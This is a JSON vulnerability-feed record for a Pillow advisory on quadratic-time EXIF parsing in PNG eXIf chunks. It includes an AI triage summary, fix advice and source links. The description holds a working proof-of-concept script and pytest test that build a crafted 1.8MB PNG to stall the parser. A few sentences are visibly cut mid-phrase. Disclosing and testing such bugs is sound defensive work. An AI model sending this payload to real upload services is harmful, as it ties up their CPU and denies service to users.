{"id":"CVE-2026-96643","kind":"vulnerability","aliases":["CVE-2026-96643","GHSA-g4qv-2jxx-769h"],"related":[],"title":"Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time","description":"### Summary\n  A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n  ### Details\n  `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n  ```python\n  while data and data.startswith(b\"Exif\\x00\\x00\"):\n      data = data[6:]\n  ```\n\n  Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n  `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n  If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n  ### Steps to reproduce\n  This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n  ```python\n  import time\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  marker = b\"Exif\\x00\\x00\"\n  exif_chunk = chunk(b\"eXIf\", marker * 300_000)  # 1.8MB, all markers\n  data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n  start = time.time()\n  with Image.open(BytesIO(data)) as im:\n      im.getexif()\n  print(\"took\", time.time() - start, \"seconds\")\n  ```\n\n  Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n  Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n  few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n  A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is  it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.\n\n  ```python\n  import pytest\n  from io import BytesIO\n  from PIL import Image, PngImagePlugin\n\n  def chunk(cid, *data):\n      fp = BytesIO()\n      PngImagePlugin.putchunk(fp, cid, *data)\n      return fp.getvalue()\n\n  MAGIC = PngImagePlugin._MAGIC\n  IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n  IDAT = chunk(b\"IDAT\")\n  IEND = chunk(b\"IEND\")\n\n  @pytest.mark.timeout(2)\n  def test_exif_load_is_not_quadratic():\n      marker = b\"Exif\\x00\\x00\"\n      exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n      data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n      with Image.open(BytesIO(data)) as im:\n          im.getexif()\n  ```\n\n  ### Impact\n  - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n  - Confidentiality: none.\n  - Integrity: none.\n  - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.","summary":"Pillow's PNG reader accepts an eXIf chunk of any size and strips repeated Exif markers with a quadratic-time loop, so one crafted PNG of about 1.8MB takes several seconds of CPU to parse. An attacker who can get a PNG processed by Pillow can tie up CPU per request, a denial-of-service effect with no data exposure.","severity":"high","cvss":7.1,"epss":0.003329999977722764,"exploited":false,"exploited_at":null,"products":[{"name":"Pillow","fixed":["13.0.0"],"affected":">= 11.0.0, < 13.0.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-407","image-upload","package","pillow","python","web-apps"],"not_affected_if":["no-png-upload-processing","pillow-13-or-later"],"how_to_check":"Run pip show pillow and check whether the version is below 13.0.0.\nFind where the app calls Image.getexif(), Image._getexif() or ImageOps.exif_transpose() on uploaded PNGs.","fix":"Upgrade Pillow to 13.0.0 or later (pip install -U 'pillow>=13.0.0').\nIf upgrade is delayed, restrict uploads to size limits and time out image processing.","status":"open","published_at":"2026-10-21T21:20:32+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","triaged_at":"2026-10-23T20:10:01+00:00","updated_at":"2026-10-23T21:57:29+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T20:10:01Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade Pillow to 13.0.0 or later (pip install -U 'pillow>=13.0.0').\nIf upgrade is delayed, restrict uploads to size limits and time out image processing.","summary":"Pillow's PNG reader accepts an eXIf chunk of any size and strips repeated Exif markers with a quadratic-time loop, so one crafted PNG of about 1.8MB takes several seconds of CPU to parse. An attacker who can get a PNG processed by Pillow can tie up CPU per request, a denial-of-service effect with no data exposure.","category":"package","who_cares":["python","pillow","image-upload","web-apps"],"confidence":0.85,"analyst_note":"","how_to_check":"Run pip show pillow and check whether the version is below 13.0.0.\nFind where the app calls Image.getexif(), Image._getexif() or ImageOps.exif_transpose() on uploaded PNGs.\nunknown whether a specific deployment has other mitigations.","needs_analyst":false,"not_affected_if":["pillow-13-or-later","no-png-upload-processing"],"severity_if_unknown":"high"},"cost_usd":0.00056,"input_tokens":3601,"output_tokens":399,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':13A,21A '-407':25B '-96643':14A,22A '0':343C,344C,345C,539C,540C,541C '0.1':400C '000':366C,571C '1':336C,338C,532C,534C '1.2':455C '1.8':63B,367C,424C,457C '2':551C '2.0':495C '200kb':453C '2jxx':18A '3.5':417C '3.7':419C '300':365C,570C '6':110C,176C '600kb':454C '769h':19A 'accept':39B 'across':449C 'actual':410C 'also':444C 'app':34B 'around':416C 'attack':73B,589C 'auto':642C 'auto-rot':641C 'avail':587C 'b':170C,333C,339C,342C,348C,352C,355C,362C,529C,535C,538C,544C,548C,560C,567C 'bigger':607C 'buffer':275C 'bug':284C,486C 'build':289C 'burn':598C 'byte':111C 'bytesio':311C,322C,382C,507C,518C,581C 'call':658C 'camera':189C 'cap':232C,247C 'caus':146C 'check':221C,428C,445C 'chunk':4A,42B,106C,133C,201C,210C,227C,236C,243C,251C,318C,332C,347C,351C,360C,361C,375C,514C,528C,543C,547C,565C,566C,576C 'cid':319C,325C,515C,521C 'classic':281C 'close':464C 'code':415C,653C 'confidenti':618C 'content':224C 'copi':182C,272C 'cost':126C,613C 'cpu':69B,85B,121C,602C 'craft':59B 'current':414C 'cve':12A,20A 'cwe':24B 'data':96B,162C,167C,174C,175C,186C,264C,320C,326C,371C,383C,516C,522C,572C,582C 'data.startswith':169C 'def':317C,513C,552C 'delay':148C 'denial':90B 'denial-of-servic':89B 'detail':149C 'doc':638C 'effect':93B 'els':442C 'enough':144C 'exif':3A,6A,41B,49B,105C,116C,161C,171C,202C,209C,214C,242C,250C,256C,263C,356C,359C,363C,374C,554C,561C,564C,568C,575C,630C 'exif.load':150C 'expect':392C 'exposur':97B 'extern':302C 'fail':491C,493C 'file':101C,142C,303C,407C,426C,595C,608C 'fill':253C 'fire':623C 'fix':396C 'fp':321C,324C,517C,520C 'fp.getvalue':328C,524C 'full':107C 'function':634C 'g4qv':17A 'get':76B,592C 'getexif':298C 'ghsa':16A 'ghsa-g4qv-2jxx-769h':15A 'grow':127C 'growth':447C,463C 'handl':652C 'hang':483C 'hit':649C 'idat':346C,349C,376C,542C,545C,577C 'iend':350C,353C,377C,546C,549C,578C 'ihdr':331C,334C,373C,527C,530C,574C 'im':385C,584C 'im.getexif':386C,585C 'imag':27B,315C,511C 'image-upload':26B 'image._getexif':626C 'image.getexif':625C 'image.open':297C,381C,580C 'imageops.exif':628C 'impact':586C 'import':306C,310C,314C,502C,506C,510C 'info':213C 'insid':435C 'instead':122C,260C 'integr':620C 'io':309C,505C 'itxt':230C 'larg':104C,274C 'like':163C 'limit':218C 'linear':466C,617C 'load':555C 'loop':56B,267C,438C 'magic':329C,372C,525C,573C 'make':5A,113C,179C 'marker':50B,112C,155C,192C,259C,271C,354C,364C,370C,559C,569C 'match':461C 'max':234C,238C 'mb':64B,368C,425C,456C,458C 'memori':240C,294C 'millisecond':124C 'need':304C 'new':181C 'none':619C,621C 'normal':137C,198C,406C,650C 'one':58B,593C 'output':393C,411C 'packag':29B 'pars':7A,71B 'parser':117C 'pass':178C 'per':86B,270C,603C 'photo':140C,645C 'pil':313C,509C 'pillow':1A,23A,30B,35B,81B,114C,635C 'png':2A,37B,60B,78B,100C,208C,225C,292C,594C 'pngimageplugin':316C,512C 'pngimageplugin._magic':330C,526C 'pngimageplugin.o32':335C,337C,531C,533C 'pngimageplugin.putchunk':323C,519C 'present':488C 'print':387C 'problem':200C 'process':79B,596C 'prohi':431C 'put':205C 'pytest':468C,475C,499C,503C 'pytest-timeout':474C,498C 'pytest.mark.timeout':550C 'python':31B,165C,305C,501C 'quadrat':10A,54B,282C,462C,558C,615C 'quadratic-tim':53B 'rate':448C 'raw':207C 'reader':38B 'real':147C,188C,262C 'recommend':639C 'remain':185C 'repeat':48B,109C,255C 'reproduc':287C 'request':87B,604C 'return':327C,523C 'rotat':643C 'run':8A,268C,480C 'scale':609C 'second':67B,119C,391C,401C,420C,600C 'servic':92B 'sever':66B,599C 'sinc':611C 'singl':423C 'size':45B,134C,141C,217C,409C,452C 'small':139C,291C 'small-photo-s':138C 'somewher':441C 'spent':434C 'squar':130C 'src/pil/image.py':152C 'src/pil/pngimageplugin.py':204C 'start':158C,378C,390C 'step':285C 'straight':211C 'strip':47B,153C,266C,437C 'summari':98C 'take':65B,118C 'test':472C,479C,553C 'text':226C,228C,235C,239C 'tie':83B 'time':11A,55B,277C,283C,296C,307C,432C 'time.time':379C,389C 'timeout':476C,494C,500C 'took':388C 'transpos':629C,631C 'unusu':657C 'upload':28B,651C 'use':473C 'user':644C 'version':397C,469C 'w':605C 'web':33B 'web-app':32B 'well':398C 'wors':610C 'write':190C 'x00':172C,173C,257C,258C,357C,358C,562C,563C 'x02':341C,537C 'x08':340C,536C 'ztxt':229C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-21T21:20:32+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-g4qv-2jxx-769h","url":"https://github.com/advisories/GHSA-g4qv-2jxx-769h","severity":"high","published_at":"2026-10-22T16:02:39+00:00","modified_at":"2026-10-22T16:02:41+00:00","first_seen_at":"2026-10-23T19:11:31+00:00","fetched_at":"2026-10-23T19:11:31+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-96643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96643","severity":null,"published_at":"2026-10-21T21:20:32+00:00","modified_at":"2026-10-23T22:17:01+00:00","first_seen_at":"2026-10-23T21:57:29+00:00","fetched_at":"2026-10-23T22:29:02+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}